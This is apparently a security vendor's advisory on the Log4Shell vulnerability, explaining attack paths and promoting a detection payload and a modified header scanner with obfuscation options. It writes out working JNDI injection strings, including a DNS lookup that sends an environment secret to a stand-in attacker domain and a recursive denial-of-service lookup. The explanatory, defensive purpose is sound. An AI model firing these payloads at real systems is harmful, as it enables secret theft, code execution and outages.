Log4Shell Overview and ReliaQuest Solutions

  • An overview of how Log4Shell Works
  • Tools available to ReliaQuest GreyMatter Customers
  • A downloadable utility to assist with quickly identifying vulnerable AND very easily exploitable applications. The utility is available for direct download here, and includes instructions for installation and use

Understanding how Log4Shell Works

Log4Shell is a vulnerability in the Java Naming and Directory Interface (JNDI) Lookup feature for the commonly used Log4J library. Log4j is the most commonly used logging library in Java, and Java is a ubiquitous language that runs on literally billions of devices, making this a particularly nasty vulnerability. In the most common, and most severe cases, (Log4j <= 2.15.0), remote code execution is possible.

In cases where Log4j = 2.15.0, exploitation conditions are harder, but still possible.
In cases where Log4j = 2.16.0, only a denial of service exploit is possible at this time.
By patching to Log4j >=2.17.0, the JNDI lookup features are disabled entirely, mitigating this vulnerability.

The log4Shell vulnerability relies on a feature called JNDI lookups. JNDI lookups are intended to allow for dynamic lookups and resolutions of formatted log messages.

A very basic implementation of the vulnerability might look something like:

package com.reliaquest.log4jvulnerablesimple.controller; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Controller { // Initialize the logger private static final Logger logger = LogManager.getLogger(Controller.class); @GetMapping // Have this function run every time we handle a HTTP request public ResponseEntity LogUserAgentOnRequest(@RequestHeader(“user-agent”) String userAgent) { // Write the user agent to the console’s logger Logger.info(“Received request from user-agent: {}”, userAgent); // Return some content in the response return ResponseEntity.ok(“foo”); } }

In this example, this code could be used to log the user agents of web requests made to a web server.
The log4j library is introduced to the application in these lines:

import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;


and initialized in the main class in this line:

// Initialize the logger private static final Logger logger = LogManager.getLogger(Controller.class);

This is the ultimately vulnerable line of code that the attacker would exploit:

// Write the user agent to the console’s logger Logger.info(“Received request from user-agent: {}”, userAgent);


User Agents are a value received by the server and controlled by the client, or attacker in this case. They normally describe the browser or client being used to request the resource. Because the attacker can control the value of the user agent, they can trigger the exploit, as it relies on the payload string being interpreted by the underlying Log4J library.

Ultimately, since logging is so critical in the development of literally every application, this makes the presence of this vulnerability high, and particularly difficult to enumerate all viable attack paths.

To understand why the best option to mitigate this vulnerability entirely is to patch, lets understand some other possible attack paths.

Understanding Additional Attack Paths

Exploitation of Internal Servers – Application Logic

The application shown before is fairly simple, and relies on it being the application that receives user input. A common misunderstanding with this vulnerability is:

“I don’t have any public facing Java servers, so I’m not concerned about external threats exploiting this”

This is a legitimate argument in a case like the application shown previously. If that specific application is only available to internal, non-compromised internal users that you have zero concern about ever doing anything malicious, then sure; but this argument ignores the possible attack surface of this particular vulnerability. That previous application might not be a realistic example for an actual production service, but let’s pretend you have some externally facing web application, not written in Java, and thus not vulnerable to Log4J:

That’s fine, but usually when you run a webserver, you typically want to log those requests to some database so that you can analyze them later, so let’s add a database that the webserver’s requests are logged to:

Now, in the event an attacker was to send their exploit string successfully, it would be logged to a database in an internal server, but that’s still fine, as our database server doesn’t run Java, so we still have no exposure.

Well now you have a record of requests, but those records are no good if you can’t analyze them somehow, so the SEO team has an application they run on an internal server written in Java that allows them to extract useful analytics from the database:

Inside the log of requests in the database, there exists a request akin to:

198.51.100.123 – – [18/Dec/2021:13:55:36 -0500] “GET / HTTP/1.1” 200 2326 – “Mozilla/5.0 (Windows NT 10.0; Win64; x64) ${jndi:ldap://attackerserver.example/a} (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36”


When this record is eventually processed by the analytics server’s application, it will be exploited, submit a request to attackerserver.example and be compromised. This demonstrates a method of how even though a server may not be directly accessible to an attacker, it can still be at risk of being exploited.

This is just ONE method of how internal servers can be exploited by this vulnerability. There are other methods to exploit this vulnerability that may work for other attack paths.

Exploitation of Internal Servers – Relayed Requests

Recently, research from Blumira demonstrated an execution method that allows attackers to relay an exploit from an internal workstation (browser), to an internal, vulnerable server using websockets. An unwitting user can easily be served content (such as through a compromised third party application, or in some cases, even a phishing email), and have their browser generate a formatted websocket request to an internal server with an exploit, exploiting a service that way.


In this case, the attacker created a page on some popular social media service that the internal user has the ability to access, and waits for the user to interact with the page:

Inside the content of the page, is a trigger that’s processed by the browser, telling it to open a web socket request to an internally vulnerable server, containing an exploit string:

Now, once the exploit triggers on the vulnerable internal server, it will issue a DNS request that will eventually get to the attacker’s DNS server and leak a secret value of some sort. This same method can also be used for code execution.

Understanding Log4Shell Payloads

Denial-Of-Service

An attacker’s goal might simply be to degrade or deny access to a particular application. In this event, they would likely use a payload containing a lookup that results in infinite recursion. One way of doing this is using the ${event:Message} lookup:

${jndi:ldap://foobar.example/a|${event:Message}}

Every time the application attempts to resolve the value of ${event:Message}, it will contain a result containing ${event:Message}, which it will then look up and get a value containing ${event:Message}, which it will then look up… and repeat forever, draining the resources of the application and likely resulting denial of service.

Remote Code Execution

The diagram provided by the Swiss CERT does a great job at explaining how code execution can be achieved using this vulnerability:

Essentially, the exploited server issues a request to the attacker controlled LDAP server, which replies with directory information that contains the code the attacker wishes to execute on the targeted server. This code is then executed, and the attacker achieves code execution.

Secret Exfiltration

Another common misconception regarding Log4Shell is:

My vulnerable server can’t directly access the internet, so I’m not concerned about exploitation attempts.

A DNS payload is a great candidate for this type of scenario, as the server itself doesn’t even necessarily need to be able to access the internet, but just be able to resolve names, as well as not result in any code execution, bypassing many common security controls.

In the event an attacker may not be able to achieve code execution on a server, or just want to access a server’s secrets, they may rely on a DNS payload that contains a lookup that extracts an environment variable. Environment variables are commonly used by applications to store and access secrets.

If the exploited server forwards the request to an internal DNS server, the DNS request will likely eventually be forwarded to the attacker controlled server, where they can extract the value of the secret, such as an AWS API credential. A payload of this type might look similar to:

${jndi:dns://${env:SECRET:-none}.attackerdomain.example}

In this case, if the SECRET was password, a DNS request would be issued for password.attackerdomain.example, which will eventually be relayed to the attacker.

We’ll now see how this payload addresses this misconception.

First, the payload eventually reaches the internal server:

Next, the server retrieves the value for the environmental variable SECRET, whose value is password.

Now, to complete the formatted lookup, the server will look up the IP address of the domain password.attackerdomain.example, which it will not know the value for.

To retrieve this value, the server will issue a DNS request to the internal DNS server, which it will also not know:

To resolve this, the internal DNS server will forward this request to upstream DNS servers, as this is how DNS normally works:

Eventually, as none of the upstream DNS servers will be able to resolve this, the request will be forwarded to the authoritative DNS server for attackerdomain.example, exposing the value of SECRET to the attacker.

ReliaQuest Provided Solutions

Now that we understand how the Log4Shell vulnerability works, and why its so difficult to enumerate various attack paths, we’ll take a look at the solutions ReliaQuest is making available to customers to assist with identification and remediation of vulnerable applications.

ReliaQuest is making two solutions available; the first – available to customers with ReliaQuest GreyMatter, is a payload string that can assist with identifying and enumerating exact attack surface. This can assist in identifying specific servers AND application logic that is vulnerable to log4Shell exploits.

The second, is a version of a utility to send log4shell payloads (such as the previous solution) to web applications via HTTP headers, which can assist with quickly identifying vulnerable AND very easily exploitable applications.

ReliaQuest made a number of modifications to the popular log4j-scan originally developed by FullHunt.io. These include introducing quality-of-life improvements and enhancements that can help identify easy to exploit cases of Log4Shell in an application. For more information, see the attached README included with the zipped file.

Attack Surface Analysis Payload

ReliaQuest will provide a unique testing string to each user in the following format:

${jndi:ldap://RELIAQUEST_LISTENER_ADDRESS/111111-1111-1111-1111-1111111111111|logger=${event:Logger}|userDir=${sys:user.dir}|classpath=${sys:java.class.path}|k8sHost=${k8s:host:-N/A}|threadName=${event:ThreadName}|configLocation=${log4j:configLocation}|hostname=$ {hostName}|os=${sys:os.name}|country=${sys:user.country}|timezone=${sys:user.timezone}}


When the ‘exploit’ is triggered through the usage of the provided string, the vulnerable application will issue a series of requests to the ReliaQuest listener server via the ldap protocol and provide environmental information that can be used to identify the vulnerable service within the application and the host that it is running on.

ReliaQuest has meticulously researched and selected values that will provide enough information to identify the vulnerable application without extracting any confidential information.

Data will be returned in the following format:

“country”: “USA”, “hostname”: “ip-xxx-xx-xxx-xxx”, “os”: “Linux”, “classpath”: “log4j-jndi-vulnerable-0.0.1.jar”, “timezone”: “Etc/UTC”, “logger”: “com.verifysecured.log4jjndivulnerable.controller.Controller”, “userDir”: “/home/ubuntu”, “configLocation”: “jar:file:/home/ubuntu/log4j-jndi-vulnerable-0.0.1.jar!/BOOT-INF/lib/spring-boot-2.6.1.jar!/org/springframework/boot/logging/log4j2/log4j2.xml”, “threadName”: “http-nio-8080-exec-5”, “k8sHost”: “N/A”

Customers can use information such as the classpath, logger, threadName, userDir, and configLocation to identify the vulnerable application.

Customers can use information such as country, hostname, os, timezone, userDir, and k8sHost to identify the exploitable host.

This data can then be used to triage hosts for both patching and investigation of any possible compromise.

In the event a hit is received from a vulnerable application, the application will use the provided unique identifier to create a ticket for the appropriate user. Logic has been implemented to avoid creation of duplicate tickets for the same service.

Due to JNDI lookups being contained within the provided payload, this specific string mitigates the possibility of false positives, and will always only work in truly vulnerable scenarios.

Due to the nature of this vulnerability, there is not a prescriptive method that will guarantee exploitation on a vulnerable application. This is heavily dependent on the application’s logging configuration and architecture, and whether or not user input is processed within a log message.

An exhaustive test of an application involves inserting the testing string into every area of attacker supplied input within the application and determining whether or not it get processed by the vulnerable logging library. This can be done with the scanner solution we are also providing to customers, through manual interaction of the application, with the assistance of an application security assessment tool (such as OWASP ZAP or BurpSuite), or through issuing requests to the command line using utilities such as curl.

HTTP Header Logging Scanner

Like many others, we at ReliaQuest initially relied on log4j-scan, a tool released by FullHunt.io. Overtime, we made a few modifications to address some challenges we encountered when using it:

  • It made EXTREMELY large requests (>20 kb)
  • Entirely custom payloads were not supported
  • There was limited obfuscation support

Due to the numerous possible attack paths, there is no guarantee that this scanner, or any scanner really, can always identify cases where Log4Shell is exploitable. ReliaQuest recommends relying primarily on the provided payload string for the most accurate assessment of Log4Shell exploitability.

Large Requests

Originally, the scanner generated a single request with a large amount of HTTP headers:

In some cases, a web server may not be built to handle such large requests, and this can result in failed exploitation, and/or application instability:

The ReliaQuest provided version of this scanner can be provided the -s option, which will result in the scanner using smaller payloads by looping through possible headers; this generates additional requests to the target server, but overall should be less intensive. It may be beneficial to combine this with the –exclude-user-agent-fuzzing option, which will not insert the exploit string into the User-Agent header.

Resulting requests will appear similar to:

Resulting in significantly smaller payloads.

Custom Payloads

The original version of the script relied on specifically formatted payloads and did not support customized formats very well.

The ReliaQuest provided version of this scanner must be provided the -p option, which must be followed by a desired exploit string. The ReliaQuest Attack Surface Analysis Payload may be used here.

Limited Obfuscation

The original version of the scanner tool had very limited obfuscation support. This support was present only by using the –waf-bypass option, which contained a limited number of WAF bypass modifications.

The ReliaQuest provided version of this scanner contains an additional library and option -o which can be used to obfuscate the payload. It is important to note that this obfuscation method does result in additional load on the target application, so it is important to weigh the benefits prior to usage.

A sample request using the ReliaQuest obfuscation library may appear as:

Dealing With False Positives

Due to the original scanner’s lack of support for customized payload strings, some requests may result in false positives. When combined with the aforementioned ReliaQuest Attack Surface Analysis Payload, false positive detections are NOT generated due to the reliance on nested JNDI lookups.

For example, here is an exploitation attempt against a popular social messaging platform:

This attempt resulted in interaction with the attacker’s server, which typically indicates exploitation of this vulnerability:

This was actually due to the result of custom logic in the application that relies on parsing of domain names, and NOT the result of successful exploitation of Log4Shell.

The possibility of this false positive scenario is mitigated by the usage of nested lookups within the query string, and the reliance on an ldap version of this exploit, rather than a dns version.